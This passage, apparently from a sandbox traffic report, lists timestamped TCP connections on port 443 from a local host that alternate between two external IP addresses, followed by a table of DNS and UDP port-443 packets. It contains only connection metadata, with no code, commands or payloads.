Jan 13, 2025 20:26:49.762120008 CET	443	50531	45.76.251.57	192.168.2.5
Jan 13, 2025 20:26:49.762191057 CET	50531	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:26:49.805290937 CET	50531	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:26:49.805368900 CET	443	50531	45.76.251.57	192.168.2.5
Jan 13, 2025 20:26:49.805425882 CET	50531	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:26:49.805439949 CET	443	50531	45.76.251.57	192.168.2.5
Jan 13, 2025 20:26:49.805602074 CET	443	50531	45.76.251.57	192.168.2.5
Jan 13, 2025 20:26:51.813426018 CET	50532	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:26:51.813452959 CET	443	50532	194.32.76.77	192.168.2.5
Jan 13, 2025 20:26:51.813507080 CET	50532	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:26:51.859266043 CET	50532	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:26:51.859281063 CET	443	50532	194.32.76.77	192.168.2.5
Jan 13, 2025 20:26:51.859316111 CET	50532	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:26:51.859319925 CET	443	50532	194.32.76.77	192.168.2.5
Jan 13, 2025 20:26:51.859347105 CET	443	50532	194.32.76.77	192.168.2.5
Jan 13, 2025 20:26:52.875483990 CET	50533	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:26:52.875575066 CET	443	50533	45.76.251.57	192.168.2.5
Jan 13, 2025 20:26:52.875732899 CET	50533	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:26:52.907366037 CET	50533	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:26:52.907411098 CET	443	50533	45.76.251.57	192.168.2.5
Jan 13, 2025 20:26:52.907500982 CET	443	50533	45.76.251.57	192.168.2.5
Jan 13, 2025 20:26:53.921865940 CET	50534	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:26:53.921907902 CET	443	50534	194.32.76.77	192.168.2.5
Jan 13, 2025 20:26:53.921968937 CET	50534	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:26:53.967293024 CET	50534	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:26:53.967324018 CET	443	50534	194.32.76.77	192.168.2.5
Jan 13, 2025 20:26:53.967365980 CET	50534	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:26:53.967377901 CET	443	50534	194.32.76.77	192.168.2.5
Jan 13, 2025 20:26:54.988858938 CET	50535	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:26:54.988946915 CET	443	50535	45.76.251.57	192.168.2.5
Jan 13, 2025 20:26:54.989104986 CET	50535	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:26:55.033796072 CET	50535	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:26:55.033870935 CET	443	50535	45.76.251.57	192.168.2.5
Jan 13, 2025 20:26:55.033982038 CET	443	50535	45.76.251.57	192.168.2.5
Jan 13, 2025 20:26:55.034183025 CET	50535	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:26:55.034245014 CET	443	50535	45.76.251.57	192.168.2.5
Jan 13, 2025 20:26:57.054955959 CET	50536	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:26:57.055043936 CET	443	50536	194.32.76.77	192.168.2.5
Jan 13, 2025 20:26:57.062920094 CET	50536	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:26:57.103111982 CET	50536	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:26:57.103188038 CET	443	50536	194.32.76.77	192.168.2.5
Jan 13, 2025 20:26:57.103341103 CET	443	50536	194.32.76.77	192.168.2.5
Jan 13, 2025 20:26:58.128361940 CET	50537	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:26:58.128400087 CET	443	50537	45.76.251.57	192.168.2.5
Jan 13, 2025 20:26:58.128458977 CET	50537	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:26:58.173887968 CET	50537	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:26:58.173904896 CET	443	50537	45.76.251.57	192.168.2.5
Jan 13, 2025 20:26:58.173949003 CET	50537	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:26:58.173957109 CET	443	50537	45.76.251.57	192.168.2.5
Jan 13, 2025 20:26:58.174083948 CET	443	50537	45.76.251.57	192.168.2.5
Jan 13, 2025 20:26:59.189156055 CET	50538	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:26:59.189241886 CET	443	50538	194.32.76.77	192.168.2.5
Jan 13, 2025 20:26:59.193025112 CET	50538	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:26:59.223845959 CET	50538	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:26:59.223845959 CET	50538	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:26:59.223845959 CET	50538	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:26:59.223933935 CET	443	50538	194.32.76.77	192.168.2.5
Jan 13, 2025 20:26:59.223964930 CET	443	50538	194.32.76.77	192.168.2.5
Jan 13, 2025 20:26:59.223998070 CET	443	50538	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:00.250792027 CET	50539	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:00.250828981 CET	443	50539	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:00.258788109 CET	50539	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:00.302798033 CET	50539	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:00.302798033 CET	50539	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:00.302819014 CET	443	50539	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:00.302829981 CET	443	50539	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:00.302890062 CET	443	50539	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:00.314927101 CET	50540	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:27:00.315017939 CET	443	50540	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:00.315468073 CET	50540	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:27:00.354917049 CET	50540	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:27:00.354999065 CET	443	50540	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:00.355117083 CET	50540	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:27:00.355134010 CET	443	50540	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:00.355174065 CET	443	50540	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:00.362793922 CET	50541	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:00.362818003 CET	443	50541	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:00.362951994 CET	50541	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:00.406786919 CET	50541	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:00.406801939 CET	443	50541	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:00.406961918 CET	443	50541	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:00.410902977 CET	50542	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:27:00.410986900 CET	443	50542	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:00.411231995 CET	50542	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:27:00.450814009 CET	50542	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:27:00.450886965 CET	443	50542	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:00.451025963 CET	443	50542	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:00.454787970 CET	50543	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:00.454808950 CET	443	50543	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:00.458832979 CET	50543	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:01.514899969 CET	50543	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:01.514923096 CET	443	50543	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:01.514977932 CET	50543	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:01.514987946 CET	443	50543	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:01.514998913 CET	443	50543	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:03.546808004 CET	50544	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:27:03.546901941 CET	443	50544	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:03.546992064 CET	50544	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:27:03.606993914 CET	50544	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:27:03.606993914 CET	50544	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:27:03.607080936 CET	443	50544	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:03.607115984 CET	443	50544	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:03.607148886 CET	443	50544	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:04.626831055 CET	50545	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:04.626919031 CET	443	50545	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:04.634958029 CET	50545	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:04.670810938 CET	50545	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:04.670888901 CET	443	50545	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:04.671125889 CET	443	50545	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:04.671823978 CET	50545	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:04.671890020 CET	443	50545	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:05.687968016 CET	50546	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:27:05.688060045 CET	443	50546	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:05.688153982 CET	50546	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:27:05.730091095 CET	50546	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:27:05.730091095 CET	50546	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:27:05.730180025 CET	443	50546	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:05.730216026 CET	443	50546	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:05.730382919 CET	443	50546	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:06.751682997 CET	50547	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:06.751769066 CET	443	50547	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:06.751924992 CET	50547	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:06.794933081 CET	50547	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:06.794933081 CET	50547	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:06.795016050 CET	443	50547	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:06.795049906 CET	443	50547	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:06.795178890 CET	443	50547	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:08.824466944 CET	50548	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:27:08.824557066 CET	443	50548	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:08.824736118 CET	50548	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:27:08.872932911 CET	50548	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:27:08.872976065 CET	443	50548	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:08.873090029 CET	443	50548	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:08.873147964 CET	50548	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:27:08.873168945 CET	443	50548	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:09.893153906 CET	50549	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:09.893239021 CET	443	50549	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:09.893327951 CET	50549	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:09.931979895 CET	50549	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:09.932054996 CET	443	50549	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:09.932101965 CET	443	50549	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:09.932120085 CET	50549	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:09.932148933 CET	443	50549	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:10.953242064 CET	50550	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:27:10.953330040 CET	443	50550	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:10.956717014 CET	50550	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:27:10.997138023 CET	50550	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:27:10.997174978 CET	443	50550	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:10.997339964 CET	443	50550	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:12.015492916 CET	50551	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:12.015588045 CET	443	50551	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:12.015661001 CET	50551	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:12.062823057 CET	50551	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:12.062906027 CET	443	50551	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:12.062961102 CET	443	50551	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:12.062973976 CET	50551	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:12.063005924 CET	443	50551	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:12.074160099 CET	50552	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:27:12.074244976 CET	443	50552	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:12.074320078 CET	50552	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:27:12.132474899 CET	50552	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:27:12.132556915 CET	443	50552	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:12.132635117 CET	50552	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:27:12.132651091 CET	443	50552	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:12.132704020 CET	443	50552	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:12.135023117 CET	50553	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:12.135109901 CET	443	50553	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:12.135184050 CET	50553	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:12.179353952 CET	50553	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:12.179434061 CET	443	50553	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:12.179491043 CET	443	50553	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:12.179502964 CET	50553	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:12.179534912 CET	443	50553	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:12.181611061 CET	50554	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:27:12.181668043 CET	443	50554	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:12.181735039 CET	50554	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:27:12.220139027 CET	50554	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:27:12.220216990 CET	443	50554	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:12.220288038 CET	50554	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:27:12.220294952 CET	443	50554	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:12.220319986 CET	443	50554	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:12.222421885 CET	50555	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:12.222474098 CET	443	50555	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:12.222538948 CET	50555	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:12.258166075 CET	50555	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:12.258166075 CET	50555	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:12.258202076 CET	443	50555	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:12.258244038 CET	443	50555	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:12.258265018 CET	443	50555	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:12.261375904 CET	50555	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:12.261394978 CET	443	50555	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:14.280169964 CET	50556	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:27:14.280260086 CET	443	50556	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:14.281660080 CET	50556	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:27:14.321034908 CET	50556	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:27:14.321114063 CET	443	50556	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:14.321377993 CET	443	50556	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:15.340003014 CET	50557	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:15.340090990 CET	443	50557	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:15.340192080 CET	50557	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:15.392007113 CET	50557	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:15.392061949 CET	443	50557	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:15.392113924 CET	50557	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:15.392121077 CET	443	50557	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:15.392334938 CET	443	50557	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:16.408951044 CET	50558	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:27:16.409040928 CET	443	50558	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:16.417371035 CET	50558	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:27:16.456888914 CET	50558	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:27:16.456967115 CET	443	50558	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:16.457212925 CET	443	50558	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:17.469454050 CET	50559	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:17.469553947 CET	443	50559	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:17.469657898 CET	50559	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:17.512984037 CET	50559	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:17.513025045 CET	443	50559	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:17.513077021 CET	50559	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:17.513082981 CET	443	50559	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:17.513101101 CET	443	50559	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:19.547456980 CET	50560	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:27:19.547549009 CET	443	50560	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:19.547626019 CET	50560	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:27:19.587088108 CET	50560	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:27:19.587111950 CET	443	50560	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:19.587162971 CET	50560	443	192.168.2.5	194.32.76.77
Jan 13, 2025 20:27:19.587176085 CET	443	50560	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:19.587246895 CET	443	50560	194.32.76.77	192.168.2.5
Jan 13, 2025 20:27:20.609559059 CET	50561	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:20.609618902 CET	443	50561	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:20.609759092 CET	50561	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:20.649410963 CET	50561	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:20.649458885 CET	443	50561	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:20.649507999 CET	50561	443	192.168.2.5	45.76.251.57
Jan 13, 2025 20:27:20.649519920 CET	443	50561	45.76.251.57	192.168.2.5
Jan 13, 2025 20:27:20.649581909 CET	443	50561	45.76.251.57	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 20:18:02.642270088 CET	52426	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:18:02.649985075 CET	53	52426	1.1.1.1	192.168.2.5
Jan 13, 2025 20:18:03.757492065 CET	60676	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:18:03.771358967 CET	53	60676	1.1.1.1	192.168.2.5
Jan 13, 2025 20:18:14.680104017 CET	53	56396	1.1.1.1	192.168.2.5
Jan 13, 2025 20:18:14.702614069 CET	63370	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:18:14.702738047 CET	49704	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:18:14.708651066 CET	53	51837	1.1.1.1	192.168.2.5
Jan 13, 2025 20:18:14.709378004 CET	53	63370	1.1.1.1	192.168.2.5
Jan 13, 2025 20:18:14.709449053 CET	53	49704	1.1.1.1	192.168.2.5
Jan 13, 2025 20:18:15.701865911 CET	53	63753	1.1.1.1	192.168.2.5
Jan 13, 2025 20:18:16.773113012 CET	53	57352	1.1.1.1	192.168.2.5
Jan 13, 2025 20:18:18.959244013 CET	52578	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:18:18.959494114 CET	58077	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:18:18.965276003 CET	53	58442	1.1.1.1	192.168.2.5
Jan 13, 2025 20:18:18.966116905 CET	53	52578	1.1.1.1	192.168.2.5
Jan 13, 2025 20:18:18.966646910 CET	53	58077	1.1.1.1	192.168.2.5
Jan 13, 2025 20:18:19.960778952 CET	64056	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:18:19.967519045 CET	53	64056	1.1.1.1	192.168.2.5
Jan 13, 2025 20:18:19.968600988 CET	52297	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:18:19.975388050 CET	53	52297	1.1.1.1	192.168.2.5
Jan 13, 2025 20:18:20.591609001 CET	53	64361	1.1.1.1	192.168.2.5
Jan 13, 2025 20:18:27.850622892 CET	56124	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:18:27.851078033 CET	62453	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:18:27.858582973 CET	53	62453	1.1.1.1	192.168.2.5
Jan 13, 2025 20:18:28.980734110 CET	52874	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:18:28.980882883 CET	51584	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:18:30.091603994 CET	51735	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:18:30.091912985 CET	54786	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:18:30.098381042 CET	53	51735	1.1.1.1	192.168.2.5
Jan 13, 2025 20:18:30.098758936 CET	53	54786	1.1.1.1	192.168.2.5
Jan 13, 2025 20:18:30.099518061 CET	53	60331	1.1.1.1	192.168.2.5
Jan 13, 2025 20:18:30.102145910 CET	63623	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:18:30.102291107 CET	62422	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:18:30.109076977 CET	53	62422	1.1.1.1	192.168.2.5
Jan 13, 2025 20:18:30.112276077 CET	62728	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:18:30.112726927 CET	55246	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:18:30.118606091 CET	61005	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:18:30.118773937 CET	59814	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:18:30.125901937 CET	53	59814	1.1.1.1	192.168.2.5
Jan 13, 2025 20:18:32.692521095 CET	63784	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:18:32.692743063 CET	57559	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:18:32.693419933 CET	62139	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:18:32.693582058 CET	61930	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:18:32.699579954 CET	53	63784	1.1.1.1	192.168.2.5
Jan 13, 2025 20:18:32.699600935 CET	53	57559	1.1.1.1	192.168.2.5
Jan 13, 2025 20:18:32.700402021 CET	53	62139	1.1.1.1	192.168.2.5
Jan 13, 2025 20:18:32.700683117 CET	53	61930	1.1.1.1	192.168.2.5
Jan 13, 2025 20:18:32.718591928 CET	50241	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:18:32.718741894 CET	51032	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:18:32.725322008 CET	53	50241	1.1.1.1	192.168.2.5
Jan 13, 2025 20:18:32.725337029 CET	53	51032	1.1.1.1	192.168.2.5
Jan 13, 2025 20:18:34.780740023 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.109154940 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.250935078 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.250987053 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.251018047 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.251051903 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.254447937 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.254806995 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.255016088 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.255470037 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.255835056 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.256031036 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.256161928 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.256238937 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.256329060 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.256584883 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.256763935 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.256869078 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.256937981 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.360054970 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.360104084 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.360459089 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.361792088 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.361819029 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.362126112 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.362452030 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.362997055 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.363023996 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.363568068 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.364886045 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.364957094 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.366134882 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.366163969 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.366194010 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.366225004 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.366415024 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.366489887 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.367094994 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.367144108 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.369060993 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.456056118 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.492172003 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:36.087461948 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:36.087613106 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:36.169701099 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:36.170108080 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:36.183614016 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:36.199872971 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:36.202538013 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:36.202867985 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:36.265369892 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:36.267731905 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:36.267760038 CET	443	56566	172.64.41.3	192.168.2.5
